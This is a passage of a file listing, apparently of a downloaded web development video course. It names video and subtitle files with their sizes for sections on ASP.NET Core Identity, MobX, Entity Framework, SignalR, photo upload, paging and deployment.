    35 ASP.NET Core Identity (Legacy)/459 Adding a Fluent Validator extension for password validation.mp4 67.11 MB
    35 ASP.NET Core Identity (Legacy)/460 Retrieving the Username from the token in the Http Context.en.srt 4.74 KB
    35 ASP.NET Core Identity (Legacy)/460 Retrieving the Username from the token in the Http Context.mp4 33.69 MB
    35 ASP.NET Core Identity (Legacy)/461 Getting the currently logged in user.en.srt 9.15 KB
    35 ASP.NET Core Identity (Legacy)/461 Getting the currently logged in user.mp4 64.78 MB
    35 ASP.NET Core Identity (Legacy)/462 Summary of section 12.en.srt 1.47 KB
    35 ASP.NET Core Identity (Legacy)/462 Summary of section 12.mp4 16.58 MB
    36 Client side login and register (Legacy)/463 Section 13 introduction.en.srt 4.3 KB
    36 Client side login and register (Legacy)/463 Section 13 introduction.mp4 29.38 MB
    36 Client side login and register (Legacy)/464 Creating the Typescript interfaces and Axios methods.en.srt 4.9 KB
    36 Client side login and register (Legacy)/464 Creating the Typescript interfaces and Axios methods.mp4 31.91 MB
    36 Client side login and register (Legacy)/465 Creating a Mobx user store.en.srt 5.69 KB
    36 Client side login and register (Legacy)/465 Creating a Mobx user store.mp4 36.94 MB
    36 Client side login and register (Legacy)/466 Creating a MobX root store.en.srt 12.88 KB
    36 Client side login and register (Legacy)/466 Creating a MobX root store.mp4 90.26 MB
    36 Client side login and register (Legacy)/467 Creating the Login form.en.srt 4.2 KB
    36 Client side login and register (Legacy)/467 Creating the Login form.mp4 34.25 MB
    36 Client side login and register (Legacy)/468 Hooking up the Login form to the API.en.srt 6.34 KB
    36 Client side login and register (Legacy)/468 Hooking up the Login form to the API.mp4 43.67 MB
    36 Client side login and register (Legacy)/469 Dealing with submission errors.en.srt 12.37 KB
    36 Client side login and register (Legacy)/469 Dealing with submission errors.mp4 85.7 MB
    36 Client side login and register (Legacy)/470 Adding home page and NavBar user information.en.srt 7.3 KB
    36 Client side login and register (Legacy)/470 Adding home page and NavBar user information.mp4 49.54 MB
    36 Client side login and register (Legacy)/471 Creating a MobX common store.en.srt 7.53 KB
    36 Client side login and register (Legacy)/471 Creating a MobX common store.mp4 58.49 MB
    36 Client side login and register (Legacy)/472 Using Axios request interceptor to automatically send the JWT token.en.srt 3.78 KB
    36 Client side login and register (Legacy)/472 Using Axios request interceptor to automatically send the JWT token.mp4 29.99 MB
    36 Client side login and register (Legacy)/473 Persisting login on refresh.en.srt 10.01 KB
    36 Client side login and register (Legacy)/473 Persisting login on refresh.mp4 77.27 MB
    36 Client side login and register (Legacy)/474 Adding Modals to our application.en.srt 14.37 KB
    36 Client side login and register (Legacy)/474 Adding Modals to our application.mp4 118.07 MB
    36 Client side login and register (Legacy)/475 Adding better error messages to our form.en.srt 5.21 KB
    36 Client side login and register (Legacy)/475 Adding better error messages to our form.mp4 38.88 MB
    36 Client side login and register (Legacy)/476 Adding a Register form.en.srt 8.73 KB
    36 Client side login and register (Legacy)/476 Adding a Register form.mp4 67.29 MB
    36 Client side login and register (Legacy)/477 Displaying server validation errors in our form.en.srt 9 KB
    36 Client side login and register (Legacy)/477 Displaying server validation errors in our form.mp4 61.77 MB
    36 Client side login and register (Legacy)/478 Summary of section 13.en.srt 4.99 KB
    36 Client side login and register (Legacy)/478 Summary of section 13.mp4 34.97 MB
    37 Entity Framework Core Relationships (Legacy)/479 Section 14 introduction.en.srt 6.01 KB
    37 Entity Framework Core Relationships (Legacy)/479 Section 14 introduction.mp4 61.21 MB
    37 Entity Framework Core Relationships (Legacy)/480 Adding a class to join our Users and Activities.en.srt 9.06 KB
    37 Entity Framework Core Relationships (Legacy)/480 Adding a class to join our Users and Activities.mp4 69.4 MB
    37 Entity Framework Core Relationships (Legacy)/481 Updating the Create Activity handler.en.srt 4.46 KB
    37 Entity Framework Core Relationships (Legacy)/481 Updating the Create Activity handler.mp4 32.84 MB
    37 Entity Framework Core Relationships (Legacy)/482 Testing in Postman.en.srt 6.98 KB
    37 Entity Framework Core Relationships (Legacy)/482 Testing in Postman.mp4 39.19 MB
    37 Entity Framework Core Relationships (Legacy)/483 Loading related data using Eager loading.en.srt 6.83 KB
    37 Entity Framework Core Relationships (Legacy)/483 Loading related data using Eager loading.mp4 46.03 MB
    37 Entity Framework Core Relationships (Legacy)/484 Adding DTOs to shape our data.en.srt 4.44 KB
    37 Entity Framework Core Relationships (Legacy)/484 Adding DTOs to shape our data.mp4 33.43 MB
    37 Entity Framework Core Relationships (Legacy)/485 Adding AutoMapper.en.srt 5.52 KB
    37 Entity Framework Core Relationships (Legacy)/485 Adding AutoMapper.mp4 35.51 MB
    37 Entity Framework Core Relationships (Legacy)/486 Adding AutoMapper profiles.en.srt 9.44 KB
    37 Entity Framework Core Relationships (Legacy)/486 Adding AutoMapper profiles.mp4 56.97 MB
    37 Entity Framework Core Relationships (Legacy)/487 Configuring AutoMapper mappings.en.srt 5.58 KB
    37 Entity Framework Core Relationships (Legacy)/487 Configuring AutoMapper mappings.mp4 40.49 MB
    37 Entity Framework Core Relationships (Legacy)/488 Using Lazy Loading to load related data.en.srt 5.62 KB
    37 Entity Framework Core Relationships (Legacy)/488 Using Lazy Loading to load related data.mp4 40.5 MB
    37 Entity Framework Core Relationships (Legacy)/489 Adding the Join activity feature.en.srt 10.29 KB
    37 Entity Framework Core Relationships (Legacy)/489 Adding the Join activity feature.mp4 85.49 MB
    37 Entity Framework Core Relationships (Legacy)/490 Adding the remove attendance feature.en.srt 7.84 KB
    37 Entity Framework Core Relationships (Legacy)/490 Adding the remove attendance feature.mp4 61.22 MB
    37 Entity Framework Core Relationships (Legacy)/491 Creating a custom Auth policy.en.srt 21.05 KB
    37 Entity Framework Core Relationships (Legacy)/491 Creating a custom Auth policy.mp4 131.9 MB
    37 Entity Framework Core Relationships (Legacy)/492 Updating our Seed data.en.srt 5.49 KB
    37 Entity Framework Core Relationships (Legacy)/492 Updating our Seed data.mp4 34.32 MB
    37 Entity Framework Core Relationships (Legacy)/493 Section 14 summary.en.srt 2.05 KB
    37 Entity Framework Core Relationships (Legacy)/493 Section 14 summary.mp4 22.7 MB
    38 Adding Client side attendances (Legacy)/494 Section 15 introduction.en.srt 2.43 KB
    38 Adding Client side attendances (Legacy)/494 Section 15 introduction.mp4 19.51 MB
    38 Adding Client side attendances (Legacy)/495 Adding attendees to our list items.en.srt 8.28 KB
    38 Adding Client side attendances (Legacy)/495 Adding attendees to our list items.mp4 59.44 MB
    38 Adding Client side attendances (Legacy)/496 Adding attendees to the Detailed view sidebar.en.srt 5.92 KB
    38 Adding Client side attendances (Legacy)/496 Adding attendees to the Detailed view sidebar.mp4 50.83 MB
    38 Adding Client side attendances (Legacy)/497 Adding the IsGoing and IsHost properties to the Activity interface.en.srt 11.93 KB
    38 Adding Client side attendances (Legacy)/497 Adding the IsGoing and IsHost properties to the Activity interface.mp4 95.8 MB
    38 Adding Client side attendances (Legacy)/498 Conditionally rendering the activity detailed header buttons.en.srt 2.89 KB
    38 Adding Client side attendances (Legacy)/498 Conditionally rendering the activity detailed header buttons.mp4 20.1 MB
    38 Adding Client side attendances (Legacy)/499 Adding the cancel attendance function.en.srt 8.42 KB
    38 Adding Client side attendances (Legacy)/499 Adding the cancel attendance function.mp4 70.34 MB
    38 Adding Client side attendances (Legacy)/500 Hooking it all up to the API.en.srt 8.46 KB
    38 Adding Client side attendances (Legacy)/500 Hooking it all up to the API.mp4 70.99 MB
    38 Adding Client side attendances (Legacy)/501 Loose ends.en.srt 7.23 KB
    38 Adding Client side attendances (Legacy)/501 Loose ends.mp4 48.48 MB
    38 Adding Client side attendances (Legacy)/502 Summary of section 15.en.srt 1.01 KB
    38 Adding Client side attendances (Legacy)/502 Summary of section 15.mp4 5.97 MB
    39 Photo Upload Part 1 - API (Legacy)/503 Section 16 introduction.en.srt 7.77 KB
    39 Photo Upload Part 1 - API (Legacy)/503 Section 16 introduction.mp4 50.37 MB
    39 Photo Upload Part 1 - API (Legacy)/504 Cloudinary settings.en.srt 8.44 KB
    39 Photo Upload Part 1 - API (Legacy)/504 Cloudinary settings.mp4 58.19 MB
    39 Photo Upload Part 1 - API (Legacy)/505 Adding the interface and class for our Photo Accessor.en.srt 5.28 KB
    39 Photo Upload Part 1 - API (Legacy)/505 Adding the interface and class for our Photo Accessor.mp4 31.47 MB
    39 Photo Upload Part 1 - API (Legacy)/506 Adding the AddPhoto handler.en.srt 6.04 KB
    39 Photo Upload Part 1 - API (Legacy)/506 Adding the AddPhoto handler.mp4 43.17 MB
    39 Photo Upload Part 1 - API (Legacy)/507 Adding the Domain Entity.en.srt 4.91 KB
    39 Photo Upload Part 1 - API (Legacy)/507 Adding the Domain Entity.mp4 32.31 MB
    39 Photo Upload Part 1 - API (Legacy)/508 Adding the Add Photo Handler.en.srt 8.52 KB
    39 Photo Upload Part 1 - API (Legacy)/508 Adding the Add Photo Handler.mp4 58.58 MB
    39 Photo Upload Part 1 - API (Legacy)/509 Adding the Photo API Controller.en.srt 12.64 KB
    39 Photo Upload Part 1 - API (Legacy)/509 Adding the Photo API Controller.mp4 81.73 MB
    39 Photo Upload Part 1 - API (Legacy)/510 Adding User Profiles feature.en.srt 7.9 KB
    39 Photo Upload Part 1 - API (Legacy)/510 Adding User Profiles feature.mp4 54.87 MB
    39 Photo Upload Part 1 - API (Legacy)/511 Adding the Delete photo handler.en.srt 11.72 KB
    39 Photo Upload Part 1 - API (Legacy)/511 Adding the Delete photo handler.mp4 91.12 MB
    39 Photo Upload Part 1 - API (Legacy)/512 Adding the set main photo functionality.en.srt 6.74 KB
    39 Photo Upload Part 1 - API (Legacy)/512 Adding the set main photo functionality.mp4 55.04 MB
    39 Photo Upload Part 1 - API (Legacy)/513 Adding the Mapping Profile configuration for User images.en.srt 5.32 KB
    39 Photo Upload Part 1 - API (Legacy)/513 Adding the Mapping Profile configuration for User images.mp4 41.3 MB
    39 Photo Upload Part 1 - API (Legacy)/514 Summary of section 16.en.srt 1.56 KB
    39 Photo Upload Part 1 - API (Legacy)/514 Summary of section 16.mp4 11.85 MB
    4. Creating a CRUD application using the CQRS + Mediator pattern/1. Introduction.mp4 25.28 MB
    4. Creating a CRUD application using the CQRS + Mediator pattern/1. Introduction.srt 6.23 KB
    4. Creating a CRUD application using the CQRS + Mediator pattern/10. Adding a Delete handler.mp4 46.34 MB
    4. Creating a CRUD application using the CQRS + Mediator pattern/10. Adding a Delete handler.srt 8.1 KB
    4. Creating a CRUD application using the CQRS + Mediator pattern/11. Startup class housekeeping.mp4 50.81 MB
    4. Creating a CRUD application using the CQRS + Mediator pattern/11. Startup class housekeeping.srt 6.89 KB
    4. Creating a CRUD application using the CQRS + Mediator pattern/12. Cancellation tokens.mp4 66.44 MB
    4. Creating a CRUD application using the CQRS + Mediator pattern/12. Cancellation tokens.srt 10.69 KB
    4. Creating a CRUD application using the CQRS + Mediator pattern/13. Using the debugger in VS Code.mp4 59.56 MB
    4. Creating a CRUD application using the CQRS + Mediator pattern/13. Using the debugger in VS Code.srt 11.2 KB
    4. Creating a CRUD application using the CQRS + Mediator pattern/14. Summary of section 4.mp4 22.76 MB
    4. Creating a CRUD application using the CQRS + Mediator pattern/14. Summary of section 4.srt 4.28 KB
    4. Creating a CRUD application using the CQRS + Mediator pattern/2. Clean Architecture.mp4 56.64 MB
    4. Creating a CRUD application using the CQRS + Mediator pattern/2. Clean Architecture.srt 13.84 KB
    4. Creating a CRUD application using the CQRS + Mediator pattern/3. CQRS.mp4 14.72 MB
    4. Creating a CRUD application using the CQRS + Mediator pattern/3. CQRS.srt 5.71 KB
    4. Creating a CRUD application using the CQRS + Mediator pattern/4. Creating our first Query handler.mp4 66.74 MB
    4. Creating a CRUD application using the CQRS + Mediator pattern/4. Creating our first Query handler.srt 13.46 KB
    4. Creating a CRUD application using the CQRS + Mediator pattern/5. Thin controllers in the API.mp4 27.82 MB
    4. Creating a CRUD application using the CQRS + Mediator pattern/5. Thin controllers in the API.srt 5.08 KB
    4. Creating a CRUD application using the CQRS + Mediator pattern/6. Adding a Details handler.mp4 27.13 MB
    4. Creating a CRUD application using the CQRS + Mediator pattern/6. Adding a Details handler.srt 4.88 KB
    4. Creating a CRUD application using the CQRS + Mediator pattern/7. Adding a Create handler.mp4 64.47 MB
    4. Creating a CRUD application using the CQRS + Mediator pattern/7. Adding a Create handler.srt 11.89 KB
    4. Creating a CRUD application using the CQRS + Mediator pattern/8. Adding an Edit handler.mp4 51.14 MB
    4. Creating a CRUD application using the CQRS + Mediator pattern/8. Adding an Edit handler.srt 9.04 KB
    4. Creating a CRUD application using the CQRS + Mediator pattern/9. Adding AutoMapper.mp4 47.73 MB
    4. Creating a CRUD application using the CQRS + Mediator pattern/9. Adding AutoMapper.srt 8.83 KB
    40 Photo Upload Part 2 - Client (Legacy)/515 Section 17 introduction.en.srt 4.13 KB
    40 Photo Upload Part 2 - Client (Legacy)/515 Section 17 introduction.mp4 25.37 MB
    40 Photo Upload Part 2 - Client (Legacy)/516 Adding links and a profile page component.en.srt 7.9 KB
    40 Photo Upload Part 2 - Client (Legacy)/516 Adding links and a profile page component.mp4 55.45 MB
    40 Photo Upload Part 2 - Client (Legacy)/517 Adding the Profile Header component.en.srt 5.52 KB
    40 Photo Upload Part 2 - Client (Legacy)/517 Adding the Profile Header component.mp4 29.21 MB
    40 Photo Upload Part 2 - Client (Legacy)/518 Adding the Profile content component.en.srt 4.81 KB
    40 Photo Upload Part 2 - Client (Legacy)/518 Adding the Profile content component.mp4 27.28 MB
    40 Photo Upload Part 2 - Client (Legacy)/519 Getting the profile data from the API.en.srt 15.84 KB
    40 Photo Upload Part 2 - Client (Legacy)/519 Getting the profile data from the API.mp4 121.55 MB
    40 Photo Upload Part 2 - Client (Legacy)/520 Displaying User images on the profile page.en.srt 7.02 KB
    40 Photo Upload Part 2 - Client (Legacy)/520 Displaying User images on the profile page.mp4 47.16 MB
    40 Photo Upload Part 2 - Client (Legacy)/521 Conditionally rendering the Photo Upload Widget.en.srt 11.18 KB
    40 Photo Upload Part 2 - Client (Legacy)/521 Conditionally rendering the Photo Upload Widget.mp4 74.7 MB
    40 Photo Upload Part 2 - Client (Legacy)/522 Creating a Photo Upload Widget.en.srt 4.86 KB
    40 Photo Upload Part 2 - Client (Legacy)/522 Creating a Photo Upload Widget.mp4 31.31 MB
    40 Photo Upload Part 2 - Client (Legacy)/523 React Dropzone.en.srt 11.76 KB
    40 Photo Upload Part 2 - Client (Legacy)/523 React Dropzone.mp4 88.11 MB
    40 Photo Upload Part 2 - Client (Legacy)/524 Styling our Dropzone.en.srt 8.98 KB
    40 Photo Upload Part 2 - Client (Legacy)/524 Styling our Dropzone.mp4 71.89 MB
    40 Photo Upload Part 2 - Client (Legacy)/525 React Cropper Part 1.en.srt 14.25 KB
    40 Photo Upload Part 2 - Client (Legacy)/525 React Cropper Part 1.mp4 90.17 MB
    40 Photo Upload Part 2 - Client (Legacy)/526 React Cropper Part 2.en.srt 14.53 KB
    40 Photo Upload Part 2 - Client (Legacy)/526 React Cropper Part 2.mp4 104.42 MB
    40 Photo Upload Part 2 - Client (Legacy)/527 Adding the Photo Upload methods to the store.en.srt 6.93 KB
    40 Photo Upload Part 2 - Client (Legacy)/527 Adding the Photo Upload methods to the store.mp4 65.22 MB
    40 Photo Upload Part 2 - Client (Legacy)/528 Adding the photo upload functionality to the Profile component.en.srt 7.73 KB
    40 Photo Upload Part 2 - Client (Legacy)/528 Adding the photo upload functionality to the Profile component.mp4 64.13 MB
    40 Photo Upload Part 2 - Client (Legacy)/529 Adding the set main photo functionality.en.srt 7.48 KB
    40 Photo Upload Part 2 - Client (Legacy)/529 Adding the set main photo functionality.mp4 63.65 MB
    40 Photo Upload Part 2 - Client (Legacy)/530 Isolating our loading indicators.en.srt 3.44 KB
    40 Photo Upload Part 2 - Client (Legacy)/530 Isolating our loading indicators.mp4 25.56 MB
    40 Photo Upload Part 2 - Client (Legacy)/531 Adding Delete photo functionality.en.srt 7.25 KB
    40 Photo Upload Part 2 - Client (Legacy)/531 Adding Delete photo functionality.mp4 62.86 MB
    40 Photo Upload Part 2 - Client (Legacy)/532 Summary of section 17.en.srt 1.51 KB
    40 Photo Upload Part 2 - Client (Legacy)/532 Summary of section 17.mp4 10.75 MB
    41 Challenge (Legacy)/533 Challenge Introduction.en.srt 8.59 KB
    41 Challenge (Legacy)/533 Challenge Introduction.mp4 33.13 MB
    41 Challenge (Legacy)/534 Challenge Solution.en.srt 14.15 KB
    41 Challenge (Legacy)/534 Challenge Solution.mp4 76.95 MB
    42 SignalR (Legacy)/535 Section 19 Introduction.en.srt 4.12 KB
    42 SignalR (Legacy)/535 Section 19 Introduction.mp4 26.65 MB
    42 SignalR (Legacy)/536 Adding the Comment entity.en.srt 5.45 KB
    42 SignalR (Legacy)/536 Adding the Comment entity.mp4 31.55 MB
    42 SignalR (Legacy)/537 Adding the Comment DTO and mapping.en.srt 4.58 KB
    42 SignalR (Legacy)/537 Adding the Comment DTO and mapping.mp4 32.39 MB
    42 SignalR (Legacy)/538 Adding the Create comment handler.en.srt 6.57 KB
    42 SignalR (Legacy)/538 Adding the Create comment handler.mp4 50.9 MB
    42 SignalR (Legacy)/539 Adding a SignalR hub.en.srt 9.07 KB
    42 SignalR (Legacy)/539 Adding a SignalR hub.mp4 50.21 MB
    42 SignalR (Legacy)/540 Configuring Auth for SignalR.en.srt 3.47 KB
    42 SignalR (Legacy)/540 Configuring Auth for SignalR.mp4 30.32 MB
    42 SignalR (Legacy)/541 Adding the SignalR hub connection to the client.en.srt 10.73 KB
    42 SignalR (Legacy)/541 Adding the SignalR hub connection to the client.mp4 78.35 MB
    42 SignalR (Legacy)/542 Connecting to the SignalR hub from our client.en.srt 7.15 KB
    42 SignalR (Legacy)/542 Connecting to the SignalR hub from our client.mp4 59.81 MB
    42 SignalR (Legacy)/543 Adding the Comment functionality to the client.en.srt 8.92 KB
    42 SignalR (Legacy)/543 Adding the Comment functionality to the client.mp4 68.46 MB
    42 SignalR (Legacy)/544 Formatting Dates in words using Date-FNS.en.srt 4.87 KB
    42 SignalR (Legacy)/544 Formatting Dates in words using Date-FNS.mp4 30.85 MB
    42 SignalR (Legacy)/545 Using SignalR Groups in the API.en.srt 5.32 KB
    42 SignalR (Legacy)/545 Using SignalR Groups in the API.mp4 31.82 MB
    42 SignalR (Legacy)/546 Using SignalR Groups in the client.en.srt 7.65 KB
    42 SignalR (Legacy)/546 Using SignalR Groups in the client.mp4 51.78 MB
    42 SignalR (Legacy)/547 Section 19 summary.en.srt 1.24 KB
    42 SignalR (Legacy)/547 Section 19 summary.mp4 7.19 MB
    43 Following_Follower feature (Legacy)/548 Section 20 introduction.en.srt 3.41 KB
    43 Following_Follower feature (Legacy)/548 Section 20 introduction.mp4 18.85 MB
    43 Following_Follower feature (Legacy)/549 Adding the UserFollower Entity.en.srt 9.02 KB
    43 Following_Follower feature (Legacy)/549 Adding the UserFollower Entity.mp4 62.46 MB
    43 Following_Follower feature (Legacy)/550 Adding the Add Follower handler.en.srt 5.75 KB
    43 Following_Follower feature (Legacy)/550 Adding the Add Follower handler.mp4 54.18 MB
    43 Following_Follower feature (Legacy)/551 Adding the Delete Following handler.en.srt 2.83 KB
    43 Following_Follower feature (Legacy)/551 Adding the Delete Following handler.mp4 21.46 MB
    43 Following_Follower feature (Legacy)/552 Adding a Following API Controller.en.srt 6.8 KB
    43 Following_Follower feature (Legacy)/552 Adding a Following API Controller.mp4 40.45 MB
    43 Following_Follower feature (Legacy)/553 Adding a Profile reader helper class and interface.en.srt 11.31 KB
    43 Following_Follower feature (Legacy)/553 Adding a Profile reader helper class and interface.mp4 76.44 MB
    43 Following_Follower feature (Legacy)/554 Getting a List of Followings for a user.en.srt 10.75 KB
    43 Following_Follower feature (Legacy)/554 Getting a List of Followings for a user.mp4 78.73 MB
    43 Following_Follower feature (Legacy)/555 Adding a Custom value resolver for AutoMapper.en.srt 9.42 KB
    43 Following_Follower feature (Legacy)/555 Adding a Custom value resolver for AutoMapper.mp4 68.67 MB
    43 Following_Follower feature (Legacy)/556 Adding the UI components to show followed users.en.srt 7.05 KB
    43 Following_Follower feature (Legacy)/556 Adding the UI components to show followed users.mp4 47.99 MB
    43 Following_Follower feature (Legacy)/557 Adding the Follow _ Unfollow methods.en.srt 4.54 KB
    43 Following_Follower feature (Legacy)/557 Adding the Follow _ Unfollow methods.mp4 40.85 MB
    43 Following_Follower feature (Legacy)/558 Adding the Follow _ Unfollow UI components.en.srt 9.27 KB
    43 Following_Follower feature (Legacy)/558 Adding the Follow _ Unfollow UI components.mp4 62.76 MB
    43 Following_Follower feature (Legacy)/559 Getting a list of followings from the API.en.srt 12.52 KB
    43 Following_Follower feature (Legacy)/559 Getting a list of followings from the API.mp4 96.29 MB
    43 Following_Follower feature (Legacy)/560 Using MobX reactions to get followers or followings on tab change.en.srt 11.92 KB
    43 Following_Follower feature (Legacy)/560 Using MobX reactions to get followers or followings on tab change.mp4 84.85 MB
    43 Following_Follower feature (Legacy)/561 Section 20 summary.en.srt 913 B
    43 Following_Follower feature (Legacy)/561 Section 20 summary.mp4 5.16 MB
    44 Paging, Sorting and Filtering (Legacy)/562 Section 21 introduction.en.srt 5.93 KB
    44 Paging, Sorting and Filtering (Legacy)/562 Section 21 introduction.mp4 54.49 MB
    44 Paging, Sorting and Filtering (Legacy)/563 Paging our Activity list.en.srt 11.2 KB
    44 Paging, Sorting and Filtering (Legacy)/563 Paging our Activity list.mp4 75.11 MB
    44 Paging, Sorting and Filtering (Legacy)/564 Refactoring the Activity store list method for paging.en.srt 8.66 KB
    44 Paging, Sorting and Filtering (Legacy)/564 Refactoring the Activity store list method for paging.mp4 76.17 MB
    44 Paging, Sorting and Filtering (Legacy)/565 Adding vertical paging to our activity dashboard.en.srt 6.47 KB
    44 Paging, Sorting and Filtering (Legacy)/565 Adding vertical paging to our activity dashboard.mp4 41.71 MB
    44 Paging, Sorting and Filtering (Legacy)/566 Adding infinite scrolling to our activity dashboard.en.srt 6.06 KB
    44 Paging, Sorting and Filtering (Legacy)/566 Adding infinite scrolling to our activity dashboard.mp4 37.96 MB
    44 Paging, Sorting and Filtering (Legacy)/567 Updating the dashboard with Filter component.en.srt 3.76 KB
    44 Paging, Sorting and Filtering (Legacy)/567 Updating the dashboard with Filter component.mp4 25.73 MB
    44 Paging, Sorting and Filtering (Legacy)/568 Filtering our Activity List in the API.en.srt 11.61 KB
    44 Paging, Sorting and Filtering (Legacy)/568 Filtering our Activity List in the API.mp4 89.38 MB
    44 Paging, Sorting and Filtering (Legacy)/569 Adding the Filtering methods in the client.en.srt 10.44 KB
    44 Paging, Sorting and Filtering (Legacy)/569 Adding the Filtering methods in the client.mp4 96.42 MB
    44 Paging, Sorting and Filtering (Legacy)/570 Updating the Activity Filters UI to allow filtering.en.srt 8.05 KB
    44 Paging, Sorting and Filtering (Legacy)/570 Updating the Activity Filters UI to allow filtering.mp4 58.95 MB
    44 Paging, Sorting and Filtering (Legacy)/571 Adding User Activities filter in the API.en.srt 9.35 KB
    44 Paging, Sorting and Filtering (Legacy)/571 Adding User Activities filter in the API.mp4 56.25 MB
    44 Paging, Sorting and Filtering (Legacy)/572 Adding User Activities filter in the client.en.srt 9.64 KB
    44 Paging, Sorting and Filtering (Legacy)/572 Adding User Activities filter in the client.mp4 89.88 MB
    44 Paging, Sorting and Filtering (Legacy)/573 Summary of section 21.en.srt 661 B
    44 Paging, Sorting and Filtering (Legacy)/573 Summary of section 21.mp4 6.99 MB
    45 Final touches and publishing (Legacy)/574 Section 22 introduction.en.srt 10.08 KB
    45 Final touches and publishing (Legacy)/574 Section 22 introduction.mp4 70.91 MB
    45 Final touches and publishing (Legacy)/575 Swapping our loading indicator for Placeholders.en.srt 7.02 KB
    45 Final touches and publishing (Legacy)/575 Swapping our loading indicator for Placeholders.mp4 38.25 MB
    45 Final touches and publishing (Legacy)/576 Adding a loading indicator to index.html.en.srt 3.34 KB
    45 Final touches and publishing (Legacy)/576 Adding a loading indicator to index.html.mp4 23.99 MB
    45 Final touches and publishing (Legacy)/577 Adding private routes on the client.en.srt 7.78 KB
    45 Final touches and publishing (Legacy)/577 Adding private routes on the client.mp4 50.42 MB
    45 Final touches and publishing (Legacy)/578 Adding logout for token expiry.en.srt 13.25 KB
    45 Final touches and publishing (Legacy)/578 Adding logout for token expiry.mp4 87.28 MB
    45 Final touches and publishing (Legacy)/579 Safari bug fix.en.srt 11.58 KB
    45 Final touches and publishing (Legacy)/579 Safari bug fix.mp4 79.26 MB
    45 Final touches and publishing (Legacy)/580 Preparing the client application for publishing.en.srt 8.03 KB
    45 Final touches and publishing (Legacy)/580 Preparing the client application for publishing.mp4 63.8 MB
    45 Final touches and publishing (Legacy)/581 Building a production version of the React app.en.srt 3.67 KB
    45 Final touches and publishing (Legacy)/581 Building a production version of the React app.mp4 27.34 MB
    45 Final touches and publishing (Legacy)/582 Serving the production React app from the API server.en.srt 12.28 KB
    45 Final touches and publishing (Legacy)/582 Serving the production React app from the API server.mp4 63.7 MB
    45 Final touches and publishing (Legacy)/583 Adding MySQL and configuring a user.en.srt 7.99 KB
    45 Final touches and publishing (Legacy)/583 Adding MySQL and configuring a user.mp4 38.9 MB
    45 Final touches and publishing (Legacy)/584 Adding additional DB providers for Entity Framework.en.srt 8.98 KB
    45 Final touches and publishing (Legacy)/584 Adding additional DB providers for Entity Framework.mp4 50.65 MB
    45 Final touches and publishing (Legacy)/585 Swapping the DB for MySQL.en.srt 13.59 KB
    45 Final touches and publishing (Legacy)/585 Swapping the DB for MySQL.mp4 96.56 MB
    45 Final touches and publishing (Legacy)/586 Publishing the app to Linux - Part 1.en.srt 14.4 KB
    45 Final touches and publishing (Legacy)/586 Publishing the app to Linux - Part 1.mp4 89.03 MB
    45 Final touches and publishing (Legacy)/586 linuxsetup.txt 3.16 KB
    45 Final touches and publishing (Legacy)/587 Publishing the app to Linux - Part 2.en.srt 20.99 KB
    45 Final touches and publishing (Legacy)/587 Publishing the app to Linux - Part 2.mp4 138.88 MB
    45 Final touches and publishing (Legacy)/588 Configuring Apache to use an HTTPS SSL certificate.en.srt 10.82 KB
    45 Final touches and publishing (Legacy)/588 Configuring Apache to use an HTTPS SSL certificate.mp4 66.68 MB
    45 Final touches and publishing (Legacy)/589 Adding Security headers to our API.en.srt 12.65 KB
    45 Final touches and publishing (Legacy)/589 Adding Security headers to our API.mp4 98.31 MB
    45 Final touches and publishing (Legacy)/590 Adding Content Security Policy to our API.en.srt 20.92 KB
    45 Final touches and publishing (Legacy)/590 Adding Content Security Policy to our API.mp4 175.87 MB
    45 Final touches and publishing (Legacy)/591 Getting an A rating from a SecurityHeaders site scan.en.srt 4.06 KB
    45 Final touches and publishing (Legacy)/591 Getting an A rating from a SecurityHeaders site scan.mp4 23.91 MB
    45 Final touches and publishing (Legacy)/592 Setting up Azure for publishing our app.en.srt 11.13 KB
    45 Final touches and publishing (Legacy)/592 Setting up Azure for publishing our app.mp4 60.67 MB
    45 Final touches and publishing (Legacy)/593 Publishing our App to Azure.en.srt 13.37 KB
    45 Final touches and publishing (Legacy)/593 Publishing our App to Azure.mp4 70.83 MB
    45 Final touches and publishing (Legacy)/594 Tweaking the Azure deployment.en.srt 8.29 KB
    45 Final touches and publishing (Legacy)/594 Tweaking the Azure deployment.mp4 66.23 MB
    45 Final touches and publishing (Legacy)/595 End of course summary.en.srt 3.65 KB
    45 Final touches and publishing (Legacy)/595 End of course summary.mp4 29.72 MB
    46 Bonus - Identity Cookbook (Legacy)/596 Intro to the bonus section.en.srt 4.4 KB
    46 Bonus - Identity Cookbook (Legacy)/596 Intro to the bonus section.mp4 22.5 MB
    46 Bonus - Identity Cookbook (Legacy)/597 FB Login - Setting up the app in Facebook.en.srt 3.47 KB
    46 Bonus - Identity Cookbook (Legacy)/597 FB Login - Setting up the app in Facebook.mp4 19.07 MB
    46 Bonus - Identity Cookbook (Legacy)/598 FB Login - Creating a new Git branch to work from.en.srt 8.92 KB
    46 Bonus - Identity Cookbook (Legacy)/598 FB Login - Creating a new Git branch to work from.mp4 41.09 MB
    46 Bonus - Identity Cookbook (Legacy)/599 FB Login - Adding a Facebook login button to the client app.en.srt 19.26 KB
    46 Bonus - Identity Cookbook (Legacy)/599 FB Login - Adding a Facebook login button to the client app.mp4 105.54 MB
    46 Bonus - Identity Cookbook (Legacy)/600 FB Login - Adding the API configuration to user secrets.en.srt 5.3 KB
    46 Bonus - Identity Cookbook (Legacy)/600 FB Login - Adding the API configuration to user secrets.mp4 33.19 MB
    46 Bonus - Identity Cookbook (Legacy)/601 FB Login - Adding a facebook accessor service to the infrastructure project.en.srt 18.68 KB
    46 Bonus - Identity Cookbook (Legacy)/601 FB Login - Adding a facebook accessor service to the infrastructure project.mp4 117.86 MB
    46 Bonus - Identity Cookbook (Legacy)/602 FB Login - Adding the Facebook login handler.en.srt 13.28 KB
    46 Bonus - Identity Cookbook (Legacy)/602 FB Login - Adding the Facebook login handler.mp4 86.57 MB
    46 Bonus - Identity Cookbook (Legacy)/603 FB Login - Adding the API Controller method and tying it together with the clien.en.srt 12.21 KB
    46 Bonus - Identity Cookbook (Legacy)/603 FB Login - Adding the API Controller method and tying it together with the clien.mp4 77.68 MB
    46 Bonus - Identity Cookbook (Legacy)/604 FB Login - Adding loading indicator and merging changes with master branch.en.srt 7.61 KB
    46 Bonus - Identity Cookbook (Legacy)/604 FB Login - Adding loading indicator and merging changes with master branch.mp4 46.02 MB
    46 Bonus - Identity Cookbook (Legacy)/605 Refresh Tokens - Introduction.en.srt 7.27 KB
    46 Bonus - Identity Cookbook (Legacy)/605 Refresh Tokens - Introduction.mp4 29.35 MB
    46 Bonus - Identity Cookbook (Legacy)/606 Refresh Tokens - Updaing the Domain and adding a new Migration.en.srt 8.36 KB
